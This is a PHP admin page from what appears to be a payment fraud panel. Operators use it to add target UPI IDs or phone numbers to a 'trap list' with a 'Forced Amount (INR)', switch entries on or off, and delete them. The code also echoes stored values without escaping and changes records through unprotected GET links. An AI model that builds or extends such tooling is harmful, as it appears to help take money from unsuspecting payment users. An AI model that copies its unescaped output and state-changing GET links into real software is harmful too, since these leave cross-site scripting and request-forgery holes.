<?php
require('top.inc.php');

if (isset($_GET['type']) && $_GET['type'] != '') {
    $type = get_safe_value($con, $_GET['type']);
    if ($type == 'delete') {
        $id = get_safe_value($con, $_GET['id']);
        $delete_sql = "delete from trapped_upis where id='$id'";
        mysqli_query($con, $delete_sql);
    }
    if ($type == 'status') {
        $id = get_safe_value($con, $_GET['id']);
        $operation = get_safe_value($con, $_GET['operation']);
        if ($operation == 'active') {
            $status = '1';
        } else {
            $status = '0';
        }
        $update_status_sql = "update trapped_upis set is_active='$status' where id='$id'";
        mysqli_query($con, $update_status_sql);
    }
}

if (isset($_POST['submit'])) {
    $upi_id = get_safe_value($con, $_POST['upi_id']);
    $trap_amount = get_safe_value($con, $_POST['trap_amount']);
    
    // Check if already exists
    $res = mysqli_query($con, "select * from trapped_upis where upi_id='$upi_id'");
    if (mysqli_num_rows($res) > 0) {
        $msg = "UPI ID already exists in the trap list";
    } else {
        mysqli_query($con, "insert into trapped_upis(upi_id, trap_amount, is_active) values('$upi_id', '$trap_amount', 1)");
        header('location:manage_traps.php');
        die();
    }
}

$result = $con->query("SELECT * FROM trapped_upis ORDER BY id DESC");
?>
<div class="row mt-4">
    <div class="col-md-4">
        <div class="card">
            <div class="card-header"><strong>Add New</strong><small> Trap</small></div>
            <form method="post">
                <div class="card-body card-block">
                    <div class="form-group">
                        <label for="upi_id" class="form-control-label">Target UPI ID / Phone No</label>
                        <input type="text" name="upi_id" placeholder="example@upi or 9876543210" class="form-control" required>
                    </div>
                    <div class="form-group">
                        <label for="trap_amount" class="form-control-label">Forced Amount (INR)</label>
                        <input type="number" name="trap_amount" placeholder="10000.00" class="form-control" required value="10000">
                    </div>
                    <button name="submit" type="submit" class="btn btn-info btn-block">Add to Trap List</button>
                    <?php if(isset($msg)) { echo '<div class="text-danger mt-2">'.$msg.'</div>'; } ?>
                </div>
            </form>
        </div>
    </div>
    <div class="col-md-8">
        <div class="card">
            <div class="card-body">
                <h4 class="box-title">Manage Trapped UPI IDs</h4>
                <div class="table-responsive mt-3">
                    <table class="table table-striped">
                        <thead>
                            <tr>
                                <th>UPI ID / Phone</th>
                                <th>Trap Amount</th>
                                <th>Status</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            if ($result->num_rows > 0) {
                                while ($row = $result->fetch_assoc()) {
                                    echo "<tr>";
                                    echo "<td>" . $row["upi_id"] . "</td>";
                                    echo "<td>₹" . $row["trap_amount"] . "</td>";
                                    echo "<td>";
                                    if ($row['is_active'] == 1) {
                                        echo "<span class='badge badge-success'><a href='?type=status&operation=deactive&id=" . $row['id'] . "' style='color:white'>Active</a></span>&nbsp;";
                                    } else {
                                        echo "<span class='badge badge-warning'><a href='?type=status&operation=active&id=" . $row['id'] . "' style='color:white'>Deactive</a></span>&nbsp;";
                                    }
                                    echo "</td>";
                                    echo "<td>";
                                    echo "<a href='?type=delete&id=" . $row["id"] . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure?\")'>Delete</a>";
                                    echo "</td>";
                                    echo "</tr>";
                                }
                            } else {
                                echo "<tr><td colspan='4' class='text-center'>No traps active</td></tr>";
                            }
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
require('footer.inc.php');
?>
